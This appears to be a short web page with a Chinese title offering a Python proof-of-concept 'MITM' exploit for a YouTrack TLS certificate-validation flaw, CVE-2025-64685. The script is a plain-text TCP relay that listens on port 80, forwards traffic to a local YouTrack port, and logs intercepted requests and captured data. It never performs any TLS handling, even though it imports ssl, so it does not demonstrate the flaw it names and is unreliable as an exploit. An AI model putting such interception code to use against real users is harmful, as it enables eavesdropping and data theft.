CVE-2025-64685 JetBrains YouTrack TLS证书验证缺失导致数据泄露

import socket import ssl import subprocess # CVE-2025-64685 PoC - TLS Certificate Validation Bypass in JetBrains YouTrack # This PoC demonstrates the MITM attack vector def create_malicious_proxy(): """Create a transparent proxy to intercept YouTrack traffic""" # Listen on common YouTrack ports target_host = '127.0.0.1' target_port = 8080 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('', 80)) server_socket.listen(5) print(f"[*] Malicious proxy listening on port 80") print(f"[*] Redirecting traffic to YouTrack at {target_host}:{target_port}") while True: client_socket, addr = server_socket.accept() print(f"[+] Connection from {addr}") # Intercept and log the request request = client_socket.recv(4096) print(f"[*] Intercepted request: {request[:100]}") # Forward to target without SSL verification target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target_socket.connect((target_host, target_port)) target_socket.sendall(request) # Capture response response = target_socket.recv(4096) client_socket.sendall(response) print(f"[*] Captured {len(response)} bytes of data") client_socket.close() target_socket.close() if __name__ == "__main__": print("CVE-2025-64685 PoC - JetBrains YouTrack TLS Validation Bypass") print("WARNING: For authorized security testing only") create_malicious_proxy()